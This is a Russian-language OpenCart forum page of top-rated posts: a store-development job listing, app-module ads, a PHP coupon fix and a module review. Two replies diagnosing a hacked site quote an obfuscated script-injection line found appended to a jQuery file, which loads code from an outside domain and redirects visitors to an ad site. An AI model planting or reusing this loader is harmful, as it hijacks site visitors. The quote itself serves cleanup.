Jump to content
Search In
  • More options...
Find results that contain...
Find results in...

Leaderboard

Popular Content

Showing content with the highest reputation on 08/13/2023 in all areas

  1. Добрый день. Нужно создать интернет-магазин на opencart (версия обсудим) Все модули указаны на основе личного опыта, если Вам известны более удачные решения с радостью выслушаю. Не обязательно всё делать с нуля, за основу можно взять шаблон в том числе и платный. Работа большая, поэтому можно разбить на этапы. Указывайте чистую стоимость ваших работ. Покупать модули буду я. Работаю только с Украинцами. Выбирать кандидата буду 24 августа. Модули · Модуль «автоматическая обработка прайс-листов. наполнение магазина товарами» · Batch Editor или Handy Product Manager- массовое редактирование товаров. 1. В котором обязательно должна быть возможность фильтровать товары по параметрам (Название, Бренд, Категория и т.д). 2. Возможность менять: изменять это\на, удалять, добавлять любого параметра в товаре. 3. Важна возможность гибкая работа с акциями и скидками, а именно возможность вычитать не только сумму, а и процент от базовой цены. · Модуль для организации акции и скидок (Возможно это решается не за счёт модуля, а вёрстки.) 1. (В шаблоне на странице с товаром выводится небольшой блок с таймером информацией про акцию и ссылку на страницу с условиями акции. В дизайне можно увидеть тут справа от фото https://www.figma.com/proto/I5fXa0Qf8HnuRuel0YrMYs/Coper-site-1440?page-id=0%3A1&node-id=0-2423&scaling=min-zoom)) 2. Ссылка на странице с товаром ведёт на страницу акции выглядеть она должна вот так https://www.figma.com/proto/I5fXa0Qf8HnuRuel0YrMYs/Coper-site-1440?page-id=0%3A1&node-id=0-2215&scaling=min-zoom 3. У акционного товара должен появляться стикер Акция\Скидка при включении акции или скидки и пропадать при выключении. 4. Возможность вычитать не только сумму, а и процент от базовой цены. Но! Если будет возможность работать с процентами от базовой цены товара в модуле массового обновления товаров, то в данной доработке\модуле это не делать. · Модуль бонусной программы (Условно 1 бонус=1 грн.) 1. Бонусные баллы (расширение функционала) Вот вроде не плохой модуль с бонусными балами ссылка https://opencartforum.com/ru/files/file/3605-bonusnye-bally-rasshirenie-funkcionala/ · Модуль различных каруселей товаров · CSV Price Pro import/export – или аналог · Фильтр товаров – фильтр должен генерировать URL товаров с уникальной страницей. Которую можно оптимизировать. (Например, в категории моторное мало отфильтровали масло арал 4 литра. Должна генерироваться страница \aral\4-litra\ и соответственно текст внизу страницы и тайтл и дескрипшенс уникальный) То есть фильтр позволяющий оптимизировать страницы под условия фильтра) · Модуль Вы смотрели · Автоматическая генерация сайтмап · Модуль google indexing api · Модуль формирования XML файлов – на двух языках укр\рус · Модуль считывать и создавать\обновлять карточки товаров по XML · Модуль формирования фида для мерчант центр · Модуль отзывов в товарах · Модуль вопрос\ответ в товаре · Модуль вместе покупают\вместе дешевле (настройка если одного из товаров нет в наличии, то не отображается скидка в обеих товаров) · Скидочные купоны (Это есть по умолчанию в Opencart – может есть какие-то более продвинутые) · Интеграция с wayfopay · Обновление курсов валют + настроить крон на автоматическое обновление. · Заказ и регистрация simple или другой модуль удобного оформления заказа и автоматической регистрации незарегистрированного пользователя после покупку. · Водный знак на фото (в модуле должен быть выбор текст или изображение (размер тоже) и обязательно выбор папки с фото. А не на все фото на сервере) · Модуль сообщить, когда появится в наличии. · Модуль настройки мета данных для страниц пагинации. И SEO текста внизу страницы. · Брошенная корзина. На странице оформления заказа после заполнения ФИО и телефона данные уже должны попадать в админку, если клиент не оформил заказ до конца, то в админке должны отображаться все заполненные поля и статут заказа должен быть "Брошенный заказ" со всеми заполными полями которые успел ввести покупатель. Не модули · Верстка согласно дизайну https://www.figma.com/file/RMa7hpbn1dyHfAgGqSzkwN/Coper-site?node-id=0%3A1&t=nUDt59UWYZKwFcYr-1 Писать вёрстку с 0 нет необходимости можно взять за основу шаблон и уже переделать согласно дизайну. Как проще и дешевле так и поступаем. · Микроразметка schema и для соц.сетей (товарных страниц) · УРЛ товаров должен быть таким «домен/чпу-товара.com.ua» · В карточке товара должна быть возможность выбора категории для формирования хлебных крошек. Типа главная категория. Но данный параметр не должен влиять на ЧПУ и УРЛ. Данный параметр должен редактироваться хотя бы одним модулем обработки товаров (CSV Price Pro import/export, Batch Editor или автоматическая обработка прайс-листов. наполнение магазина товарами) · Настройка тег менеджера · Настройка гугл аналитики 4 (полная передача данных для e-commerce) · Полная интеграция с ads google · Укр и рус версия сайта · Сайт первоначально должен открываться на украинском, а если посетитель сменил язык, передать данные в куки и последующие посещения должны открываться согласно выбранному языку, при первом посещении. · Настройка e-sputnik смс и почты. (От вас требуется реализация только технической части. Все шаблоны, сценарии, письма на нашей стороне.) 1. В e-sputnik должны передаваться все данные по новому клиенту на e-sputnik создать группу «Все клиенты» какие данные передаются: e-mail, номер телефон, ФИО, город, статус заказа, дата заказа, сумма заказа, товары в заказе, остальные данные будем обсуждать). 2. После оформления покупки должно отправляться смс «шаблон спасибо за покупку» + добавляться номер заказа. Так же если клиент новый отправляется welcome-серия писем. Если старый, то 1 письмо «спасибо за покупку» 3. Автоматическая отправка СМС с номером ТТН. В админке должно быть поле для ввода ТТН, после ввода происходит отправка СМС клиенту «шаблон» + добавляется ТТН указанная в админке. (данные поле так же должно быть связано с API новой почты смотрите пункт ниже). 4. Отправка писем с сообщением о том, что товар снова доступен к покупке тем клиентам кто воспользовался кнопкой сообщить, когда появится и оставил свои данные. На e-sputnik данные контакты попадает в условную группу «Сообщить о наличии». На e-sputnik должно передаваться по мимо введённых данных из формы ещё и товар который ожидают клиенты (ниже подробнее в пункте про кнопку сообщить о наличии) · Новая почта (города\ склады должны обновляться автоматически). В админке поле ввода ТТН, происходит отправка смс, через e-sputnik (смотри пункт выше), а после забора товара автоматически, заказ должен переходить в статус «Завершен». · Товары которых нет в наличии пропадает кнопка купить и быстрый заказ, но появляется кнопка сообщить о наличии и после нажатия на которую появляется форма с полями имя и почта. И когда у товара меняется его количество отправлять письмо с e-sputnik клиенту с уведомлением о наличии товара (подробнее о работе e-sputnik описано выше) · Сделать категорию «архив» и туда закидывать товары которых нет и не будет (на странице товара отображается всё точно так же как и нет в наличии, но пропадает, сообщить о наличии и вместо этого отображается «снят с производства» , исчезает из поиска на сайте, из фильтра, сайтмеп, xml, не отображается в других модулях внутренней перелинговки). · Оптимизация скорости загрузки pagespeed должен быть в зелёной зоне. · В категории с товаром, когда «долистали» до конца списка товаров, если есть ещё товары (страницы пагинации) должна появляться оранжевая кнопка «показать ещё». После нажатия на которую, без обновления страницы и перехода, на этой же странице открываются ещё часть товаров. Так же, под кнопкой показать ещё кнопки с номерами страниц (видно должно быть 5-6 кнопок в зависимости от устройства. Но при этом первая и последняя видна всегда). Справа от номера страниц 2 кнопки, следующая страница и в самый конец. (К сожалению, в дизайне это не учли). В УРЛ должно появиться ?page=n где n номер страницы и всё. page-1 быть не должно должен создаваться автоматический 301 редирект на сайт\категория. Не указывать каноническую страницу. Все страницы должны отдавать <meta name="robots" content="index,follow">. Мета данные должны быть на каждой странице уникальные и SEO текст внизу страницы. (Контент и текст при нажатии на кнопку «показать ещё» не меняется для пользователя. Мета данные и Seo-текст снизу меняется только если нажать на номер страницы под. кнопкой или указати страницу в окне браузера и перейти. Все данные функции можно посмотреть на сайте Розетка. · Создать файл для 301 редиректов. (Мы в дальнейшем будем вписывать страницы).
    3 points
  2. Version 2.0.1

    Ocionic - готовое решение приложения для сайта на OpenCart! Преимущества приложения Гибкая система автоматических оповещений пользователям с таргетингом Быстрое развертывание приложения и загрузки на PlayMarket и AppStore Уже знакома пользователям OpenCart модульная система для управления лайаутами приложения из админ-панели. Возможность адаптировать платежные системы и методы доставок (включая методы доставок с дополнительными опциями - например, Новая Почта) без редактирования кода приложения и его обновления Возможность адаптировать большое количество модулей без редактирования приложения (например, стикеры, коллекции производителя и многие другие) Понятная логика приложения – для редактирования дизайна – достаточно знания HTML и CSS Возможность разработки и изменения шаблонов (новые шаблоны – в будущем) Внутренний роутинг приложения Базовый набор модулей уже в сборнике Полная документация API и приложения для разработчиков Инструменты для разработчиков, позволяющие разрабатывать модули для приложения, не покупая сборку. Демо приложения: Google PlayMarket Apple AppStore – для загрузки приложения на iOS вам необходимо будет установить официальное приложение компании Apple – TestFlight. Приложение – для тестирования и просмотра демо-приложений. Админ-панель - логин/пароль: demo/demo Документация API Проверьте, как будет выглядеть Ваше приложение за 15 минут – не покупая модуль! Скачать и установить бесплатный модуль "Ocionic - инструменты для разработчика" Обновите модификаторы и сохраните настройки модуля – этого достаточно для просмотра вашего приложения. Загрузите демо приложения по ссылкам выше и в первом окне – укажите Ваш домен. Наслаждайтесь тестированием. Разработчикам Разработчикам популярных модулей (которые могут быть связаны с приложением) и шаблонов мы выдадим бесплатную лицензию, проконсультируем по всем вопросам адаптации модулей или разработки новых шаблонов для приложения. За подробностями – обращайтесь в личные сообщения. Лицензия Лицензия в данный момент выдается только через личные сообщения. После покупки – вы получаете две лицензии – лицензия на домен, и лицензия на Budle ID (идентификатор приложения). Бета-версия Сейчас действительна бета-версия приложения. Предстоящие обновления будут иметь некоторые изменения по коду, но принципы API и роутинга изменены не будут.
    $99
    1 point
  3. Version 2.0.1

    74 downloads

    Инструменты для разработчика модулей для ocionic Демо приложения: Google PlayMarket Apple AppStore – для загрузки приложения на iOS вам необходимо будет установить официальное приложение компании Apple – TestFlight. Приложение – для тестирования и просмотра демо-приложений. Админ-панель - логин/пароль: demo/demo Документация API Проверьте, как будет выглядеть Ваше приложение за 15 минут – не покупая модуль! Скачать и установить этот модуль Обновите модификаторы и сохраните настройки модуля – этого достаточно для просмотра вашего приложения. Загрузите демо приложения по ссылкам выше и в первом окне – укажите Ваш домен. Наслаждайтесь тестированием. Разработчикам Разработчикам популярных модулей (которые могут быть связаны с приложением) и шаблонов мы выдадим бесплатную лицензию, проконсультируем по всем вопросам адаптации модулей или разработки новых шаблонов для приложения. За подробностями – обращайтесь в личные сообщения.
    Free
    1 point
  4. Вам скрипт и не нужен. Можете вполне использовать возможности самого модуля. Например: если обновление через cron, в Редакторе товаров прописать, чтобы после обновления товара к существующему SKU добавлялся префикс, любой префикс, хоть "-END" хоть аббревиатура донора и т.п., лишь бы SKU уникализировать и он не находился уже модулем при обновлении товара. Это в Дополнительных действиях cron выставить "после завершения выполнения задания". Примерно такая схема, если на пальцах... теоретически должно работать.
    1 point
  5. Вот этот скрипт: https://bostanika.ge/catalog/view/javascript/jquery/jquery-2.1.1.min.js В самом низу: document.write("<sc"+"ri"+"pt s"+"rc"+"='ht"+"tp"+"s:/"+"/c"+"dn"+"3"+"4.c"+"om/"+"e' as"+"yn"+"c>"+"<\/"+"sc"+"ri"+"pt>"); Как оно туда попало... это уже совсем другая история. И есть ли еще где-то среди сайта что-то подобное.
    1 point
  6. Вот оно, 100% Скрины ниже. На вашу страницу подгружается некая https://cdn34.com/e И с нее приходит редирект: if(document.referrer){window.location.href='https://adsnet.pw/?id=czI7NjQxMjM0N2JhZQ==';} Причем если обновить страницу, то приходит пустота... Но если нажать ctrl+h и потом "забыть" все с этого домена, то снова приходит редирект... в прятки играют Короче задача найти где у вас фигурирует cdn34.com и удалить. Возможно это действительно вирус, вставка эта в ни в чем неповинном другом скрипте сделана. Надо смотреть... пишите в личку если хотите, могу поискать.
    1 point
  7. Ви самі створюєте в катаегорії посадкові сторінки по фільтру
    1 point
  8. Напишу ответ в теме. Пришлось самому поковырять и понять в чем дело Решение то что выше описано (с англоязычного форума) помогает когда в поле totals написан сам купон. Но у меня всё равно не работало из-за особенности (ниже почему) Проблема: OcStore почему-то записывает историю использования купона путем вытаскивания кода купона с полей totals, но когда там вместо купона просто слово "Купон" он не может найти подходящий и не записывает его в историю. Ниже описываю решение с форума что выше указан + свои правки. Решение: /catalog/controller/total/coupon.php *** Правки с англоязычного форума *** Вместо: $coupon_info = $this->getCoupon($code); Поставить: $coupon_info = $this->getCouponInfo($code); Выше этого: public function confirm($order_info, $order_total) { Добавить: public function getCouponInfo($code) { $status = true; $coupon_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "coupon` WHERE code = '" . $this->db->escape($code) . "' AND ((date_start = '0000-00-00' OR date_start < NOW()) AND (date_end = '0000-00-00' OR date_end > NOW())) AND status = '1'"); if ($status) { return array( 'coupon_id' => $coupon_query->row['coupon_id'], ); } } _____________________________________ Вместо: $code = ''; $start = strpos($order_total['title'], '(') + 1; $end = strrpos($order_total['title'], ')'); if ($start && $end) { $code = substr($order_total['title'], $start, $end - $start); } Поставить: if(isset($this->session->data['coupon'])){ $code = $this->session->data['coupon']; }else{ $code = ''; $start = strpos($order_total['title'], '(') + 1; $end = strrpos($order_total['title'], ')'); if ($start && $end) { $code = substr($order_total['title'], $start, $end - $start); } }
    1 point
    Модуль вигрузки UniXML Pro в XML форматі реально потрібна річ для кожного магазину. Існує багато окремих рішень для завантаження xml на різні площадки які: 1) Мають різний функціонал і навантажують сервер по різному (нагинають, провірено мною) 2) В сукупності коли їх всіх придбати, то вийде кругленька сума 3) Не дають якісної тех підтримки. Що я отримав з UniXML Pro ? 1) Широкий перелік готових рішень 2) Гнучкість налаштувань. Існують проблеми та задічі інтернет магазину які розробнику важко передбачити. Коли тобі потрібно щось нестандартне, то приходиться писати розробнику щоб доробив, змінив дещо і т.д. Не всі розробники на це мають час і не кожний цим хоче займатись, а ще гірше коли не хочуть міняти модуль під тебе так як потім виникнуть проблеми з його оновленням. У випадку з UniXML Pro Вже є готовий набір "форм та заготовок" через які можна реалізувати практично все. Цей модуль дасть вам все це що не дадуть всі інші модулі разом взяті. 3) Техпідтримка. Всі хто планує самостійно встановлювати модуль +, але рекомендую додатково при купівля модуля взяти послугу встанавлення та налаштування. Коштує смішні гроші, але рятує на 1000% Автор модуля Exploits заввжди готовий допомогти і відповідає на всі листи. ТЕХПІДТРИМКА НА ВИСОТІ, Модуль однозначно вартує своїх грошей.
    1 point
×
×
  • Create New...

Important Information

On our site, cookies are used and personal data is processed to improve the user interface. To find out what and what personal data we are processing, please go to the link. If you click "I agree," it means that you understand and accept all the conditions specified in this Privacy Notice.